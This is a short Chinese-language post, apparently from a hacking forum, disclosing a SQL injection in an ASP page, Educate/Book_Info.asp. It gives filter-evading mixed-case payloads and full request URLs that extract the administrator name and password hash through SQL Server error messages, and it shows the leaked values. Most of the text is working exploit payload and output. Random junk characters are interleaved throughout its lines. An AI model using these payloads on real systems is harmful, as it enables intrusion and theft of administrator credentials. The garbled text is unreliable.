漏洞出现在Educate/Book_Info.asp
& ]7 F, w* Q- c$ H' z ^
. D& C0 G" B: v% l) D# V; H2 s此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出- ]& E! C2 l. _3 [
$ y+ w0 P$ t, d; e& Z# H/ bexp:如下
0 O S" g7 b( f* P查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
5 r4 m- T9 O* Q查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
( o4 B. V. y, i, o# K% t
* z2 C/ ? M% O1 Shttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)& c- Y% ?2 l, G- [
% a* ]5 y& F4 I7 e% R2 w
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
8 W. V2 j' Z; r8 u , t4 {+ n+ n. R0 @) ]0 _
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。; j5 i: W: b! C( {! H' X
4 o& _" ]4 \1 Q) \1 B5 V5 B
/Educate/Book_Info.asp,行 8) Z* K/ c% ^; V8 v
+ ]- U8 z! \! h, u! B
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)& n1 `5 K9 H" ?3 M: U+ C- w4 C6 W
, G O1 ~7 V' v- dMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
& L* x5 s! Q, ^4 N! ]
^* z( o! ^1 R' e; L' a将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。( L2 O% B: y" T% _0 T4 L. U
8 V, }1 w- n X: F/Educate/Book_Info.asp,行 8
( X p/ c) M9 J0 y0 I5 k |